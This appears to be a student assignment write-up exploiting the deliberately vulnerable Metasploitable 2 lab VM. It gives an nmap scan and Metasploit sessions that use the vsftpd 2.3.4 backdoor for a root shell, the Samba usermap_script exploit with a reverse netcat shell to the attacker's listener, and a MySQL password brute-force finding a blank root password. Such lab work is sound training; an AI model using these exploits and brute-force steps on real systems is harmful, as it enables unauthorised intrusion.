

## ASSIGNMENT - 3

### Exploiting Metasploitable 2 OS

-Target : 192.168.1.20

-By : ANBARSU S

#### Nmap Scan (Services and version detection)

```
(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.20
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 04:59 EST
Nmap scan report for 192.168.1.20
Host is up (0.0052s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs : Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.95 seconds
```

# 1. vsftpd

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    yes              The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -
RHOSTS    yes              The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.20
rhost => 192.168.1.20
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name   | Current Setting | Required | Description                                                                                  |
|--------|-----------------|----------|----------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.1.20    | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT  | 21              | yes      | The target port (TCP)                                                                        |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| NAME |                 |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.20:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.20:21 - USER: 331 Please specify the password.
[+] 192.168.1.20:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:32881 -> 192.168.1.20:6200) at 2023-03-11 05:19:30 -0500

whoami
root
power off
sh: line 7: power: command not found
poweroff
[*] 192.168.1.20 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

```

## 2. samba

```

msf6 > search samba

Matching Modules



| #  | Name                                                | Disclosure Date | Rank      | Check | Description                                                   |
|----|-----------------------------------------------------|-----------------|-----------|-------|---------------------------------------------------------------|
| 0  | exploit/unix/webapp/citrix_access_gateway_exec      | 2010-12-21      | excellent | Yes   | Citrix Access Gateway Command Execution                       |
| 1  | exploit/windows/license/calicclnt_getconfig         | 2005-03-02      | average   | No    | Computer Associates License Client GETCONFIG Overflow         |
| 2  | exploit/unix/misc/distcc_exec                       | 2002-02-01      | excellent | Yes   | DistCC Daemon Command Execution                               |
| 3  | exploit/windows/smb/group_policy_startup            | 2015-01-26      | manual    | No    | Group Policy Script Execution From Shared Resource            |
| 4  | post/linux/gather/enum_configs                      |                 | normal    | No    | Linux Gather Configurations                                   |
| 5  | auxiliary/scanner/rsync/modules_list                |                 | normal    | No    | List Rsync Modules                                            |
| 6  | exploit/windows/fileformat/ms14_060_sandworm        | 2014-10-14      | excellent | No    | MS14-060 Microsoft Windows OLE Package Manager Code Execution |
| 7  | exploit/unix/http/quest_kace_systems_management_rce | 2018-05-31      | excellent | Yes   | Quest KACE Systems Management Command Injection               |
| 8  | exploit/multi/samba/usermap_script                  | 2007-05-14      | excellent | No    | Samba "username map script" Command Execution                 |
| 9  | exploit/multi/samba/nttrans                         | 2003-04-07      | average   | No    | Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow                   |
| 10 | exploit/linux/samba/setinfopolicy_heap              | 2012-04-10      | normal    | Yes   | Samba SetInformationPolicy AuditEventsInfo Heap Overflow      |
| 11 | auxiliary/admin/smb/samba_symlink_traversal         |                 | normal    | No    | Samba Symlink Directory Traversal                             |
| 12 | auxiliary/scanner/smb/smb_uninit_cred               |                 | normal    | Yes   | Samba _netr_ServerPasswordSet Uninitialized Credential State  |
| 13 | exploit/linux/samba/chain_reply                     | 2010-06-16      | good      | No    | Samba chain_reply Memory Corruption (Linux x86)               |
| 14 | exploit/linux/samba/is_known_pipename               | 2017-03-24      | excellent | Yes   | Samba is_known_pipename() Arbitrary Module Load               |
| 15 | auxiliary/dos/samba/lsa_addprivs_heap               |                 | normal    | No    | Samba lsa_io_privilege_set Heap Overflow                      |
| 16 | auxiliary/dos/samba/lsa_transnames_heap             |                 | normal    | No    | Samba lsa_io_trans_names Heap Overflow                        |
| 17 | exploit/linux/samba/lsa_transnames_heap             | 2007-05-14      | good      | Yes   | Samba lsa_io_trans_names Heap Overflow                        |
| 18 | exploit/osx/samba/lsa_transnames_heap               | 2007-05-14      | average   | No    | Samba lsa_io_trans_names Heap Overflow                        |
| 19 | exploit/solaris/samba/lsa_transnames_heap           | 2007-05-14      | average   | No    | Samba lsa_io_trans_names Heap Overflow                        |
| 20 | auxiliary/dos/samba/read_nttrans_ea_list            |                 | normal    | No    | Samba read_nttrans_ea_list Integer Overflow                   |
| 21 | exploit/freebsd/samba/trans2open                    | 2003-04-07      | great     | No    | Samba trans2open Overflow (*BSD x86)                          |
| 22 | exploit/linux/samba/trans2open                      | 2003-04-07      | great     | No    | Samba trans2open Overflow (Linux x86)                         |
| 23 | exploit/osx/samba/trans2open                        | 2003-04-07      | great     | No    | Samba trans2open Overflow (Mac OS X PPC)                      |
| 24 | exploit/solaris/samba/trans2open                    | 2003-04-07      | great     | No    | Samba trans2open Overflow (Solaris SPARC)                     |
| 25 | exploit/windows/http/sambar6_search_results         | 2003-06-21      | normal    | Yes   | Sambar 6 Search Results Buffer Overflow                       |



Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results

msf6 > use 8
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

```

```

msf6 > use 8
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.32    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.32    yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

```

```

msf6 exploit(multi/samba/usermap_script) > set rhost 192.168.1.20
rhost => 192.168.1.20
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.1.32:4444
[*] Command shell session 1 opened (192.168.1.32:4444 -> 192.168.1.20:38861) at 2023-03-11 06:31:49 -0500

whoami
root
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
exit
[*] 192.168.1.20 - Command shell session 1 closed.

```



### 3. MySQL

```
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):



| Name             | Current Setting | Required | Description                                                                                                                                                                     |
|------------------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| BLANK_PASSWORDS  | true            | no       | Try blank passwords for all users                                                                                                                                               |
| BRUTEFORCE_SPEED | 5               | yes      | How fast to bruteforce, from 0 to 5                                                                                                                                             |
| DB_ALL_CREDS     | false           | no       | Try each user/password couple stored in the current database                                                                                                                    |
| DB_ALL_PASS      | false           | no       | Add all passwords in the current database to the list                                                                                                                           |
| DB_ALL_USERS     | false           | no       | Add all users in the current database to the list                                                                                                                               |
| DB_SKIP_EXISTING | none            | no       | Skip existing credentials stored in the current database (Accepted: none, user, user@realm)                                                                                     |
| PASSWORD         |                 | no       | A specific password to authenticate with                                                                                                                                        |
| PASS_FILE        |                 | no       | File containing passwords, one per line                                                                                                                                         |
| Proxies          |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                    |
| RHOSTS           |                 | yes      | The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a> |
| RPORT            | 3306            | yes      | The target port (TCP)                                                                                                                                                           |
| STOP_ON_SUCCESS  | false           | yes      | Stop guessing when a credential works for a host                                                                                                                                |
| THREADS          | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                             |
| USERNAME         | root            | no       | A specific username to authenticate as                                                                                                                                          |
| USERPASS_FILE    |                 | no       | File containing users and passwords separated by space, one pair per line                                                                                                       |
| USER_AS_PASS     | false           | no       | Try the username as the password for all users                                                                                                                                  |
| USER_FILE        |                 | no       | File containing usernames, one per line                                                                                                                                         |
| VERBOSE          | true            | yes      | Whether to print output for all attempts                                                                                                                                        |



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true
blank_passwords => true
msf6 auxiliary(scanner/mysql/mysql_login) > set user_file /home/kali/Desktop/username.txt
user_file => /home/kali/Desktop/username.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set pass_file /home/kali/Desktop/passwords.txt
pass_file => /home/kali/Desktop/passwords.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set rhost 192.168.1.20
rhost => 192.168.1.20

msf6 auxiliary(scanner/mysql/mysql_login) > exploit

[*] 192.168.1.20:3306 - 192.168.1.20:3306 - Found remote MySQL version 5.0.51a
[!] 192.168.1.20:3306 - No active DB -- Credential data will not be saved!
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - Success: 'root:'
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: password: (Incorrect: Access denied for user 'password'@'192.168.1.32' (using password: NO))
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: password:root (Incorrect: Access denied for user 'password'@'192.168.1.32' (using password: YES))
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: password:password (Incorrect: Access denied for user 'password'@'192.168.1.32' (using password: YES))
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: password:pass (Incorrect: Access denied for user 'password'@'192.168.1.32' (using password: YES))
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: pass: (Incorrect: Access denied for user 'pass'@'192.168.1.32' (using password: NO))
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: pass:root (Incorrect: Access denied for user 'pass'@'192.168.1.32' (using password: YES))
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: pass:password (Incorrect: Access denied for user 'pass'@'192.168.1.32' (using password: YES))
[*] 192.168.1.20:3306 - 192.168.1.20:3306 - LOGIN FAILED: pass:pass (Incorrect: Access denied for user 'pass'@'192.168.1.32' (using password: YES))
[*] 192.168.1.20:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > mysql -h 192.168.1.20 -u root -p
[*] exec: mysql -h 192.168.1.20 -u root -p

Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 33
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show dbs
-> 
```